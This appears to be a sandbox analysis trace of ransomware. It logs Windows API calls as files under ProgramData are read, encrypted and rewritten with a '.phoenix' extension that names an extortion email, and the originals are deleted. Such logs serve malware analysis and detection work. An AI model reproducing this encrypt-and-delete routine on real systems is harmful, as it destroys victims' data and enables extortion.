	[0247.318] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa60, dwBufLen=0xa60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa60) returned 1
	[0247.318] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa60, lpOverlapped=0x0) returned 1
	[0247.319] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0247.319] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.319] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.319] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.319] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.319] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.319] CloseHandle (hObject=0x2e8) returned 1
	[0247.319] CloseHandle (hObject=0x2c8) returned 1
	[0247.319] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e8fff2df-6041-8f21-3df7-db31661aa09b.xml")) returned 1
	[0247.320] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.321] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2630) returned 1
	[0247.321] CloseHandle (hObject=0x2c8) returned 1
	[0247.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml")) returned 0x20
	[0247.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.321] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.321] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.322] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0247.322] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.322] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa46, lpOverlapped=0x0) returned 1
	[0247.405] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0247.405] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0247.406] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0247.406] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.406] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.406] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.406] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.406] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.406] CloseHandle (hObject=0x2c8) returned 1
	[0247.406] CloseHandle (hObject=0x2e8) returned 1
	[0247.406] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\eee47229-947d-2ac7-e8a3-49bafee251d1.xml")) returned 1
	[0247.407] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.407] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.407] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2636) returned 1
	[0247.407] CloseHandle (hObject=0x2e8) returned 1
	[0247.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml")) returned 0x20
	[0247.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.408] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.408] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.408] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.408] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.408] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0247.408] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.408] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa4c, lpOverlapped=0x0) returned 1
	[0247.494] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0247.494] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0247.495] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0247.495] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.495] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0247.495] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.496] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0247.496] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.496] CloseHandle (hObject=0x2e8) returned 1
	[0247.496] CloseHandle (hObject=0x2c8) returned 1
	[0247.496] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml")) returned 1
	[0247.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat" (normalized: "c:\\programdata\\microsoft\\windows\\lfsvc\\geofence\\geofenceapplicationid.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0247.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-09-26.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.599] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15502) returned 1
	[0247.599] CloseHandle (hObject=0x2b4) returned 1
	[0247.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-09-26.xml")) returned 0x20
	[0247.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-09-26.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.602] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-09-26.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.602] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.602] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.602] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-09-26.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0247.608] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.608] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3c8e, lpOverlapped=0x0) returned 1
	[0247.659] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3c90, dwBufLen=0x3c90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3c90) returned 1
	[0247.659] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3c90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3c90, lpOverlapped=0x0) returned 1
	[0247.661] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0247.661] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.661] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0247.661] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.661] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x112, lpOverlapped=0x0) returned 1
	[0247.661] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.661] CloseHandle (hObject=0x2f0) returned 1
	[0247.661] CloseHandle (hObject=0x2d8) returned 1
	[0247.661] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-09-26.xml")) returned 1
	[0247.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.662] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.700] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13889) returned 1
	[0247.700] CloseHandle (hObject=0x2b0) returned 1
	[0247.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html")) returned 0x20
	[0247.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.701] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.701] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.701] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.701] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.702] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0247.702] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.702] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3641, lpOverlapped=0x0) returned 1
	[0247.786] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3650, dwBufLen=0x3650 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3650) returned 1
	[0247.786] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3650, lpOverlapped=0x0) returned 1
	[0247.787] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0247.787] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.787] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0247.787] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.787] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0247.787] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.787] CloseHandle (hObject=0x2b0) returned 1
	[0247.787] CloseHandle (hObject=0x2b4) returned 1
	[0247.787] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html")) returned 1
	[0247.789] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.789] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=174) returned 1
	[0247.789] CloseHandle (hObject=0x2b4) returned 1
	[0247.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini")) returned 0x26
	[0247.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.790] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.790] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.852] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0247.852] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.852] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xae, lpOverlapped=0x0) returned 1
	[0247.853] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0247.853] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0247.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0247.854] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.854] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0247.854] CryptDestroyKey (hKey=0x151140) returned 1
